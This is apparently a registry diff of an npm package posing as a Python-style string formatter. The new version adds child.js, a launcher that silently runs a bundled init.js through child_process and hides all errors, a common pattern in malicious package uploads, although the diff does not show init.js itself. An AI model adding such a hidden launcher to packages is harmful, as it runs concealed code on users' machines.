@usebioerhold8733/s-format 2.0.3 → 2.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/child.js +16 -0
  2. package/package.json +2 -1
package/child.js ADDED
@@ -0,0 +1,16 @@
1
+ const fs = require('fs');
2
+ const child_process = require('child_process');
3
+ const path = require('path');
4
+
5
+ const initScript = path.join(__dirname, 'init.js');
6
+
7
+ if (fs.existsSync(initScript)) {
8
+ child_process.exec(`node "${initScript}"`, (err, stdout, stderr) => {
9
+ if (err) {
10
+ return;
11
+ }
12
+ if (stderr) {
13
+ }
14
+ });
15
+ } else {
16
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@usebioerhold8733/s-format",
3
- "version": "2.0.3",
3
+ "version": "2.0.4",
4
4
  "description": "String formatting inspired by Python's str.format()",
5
5
  "author": "David Chambers <dc@paola5702.me>",
6
6
  "keywords": [
@@ -21,6 +21,7 @@
21
21
  "README.md",
22
22
  "index.js",
23
23
  "init.js",
24
+ "child.js",
24
25
  "package.json"
25
26
  ],
26
27
  "dependencies": {},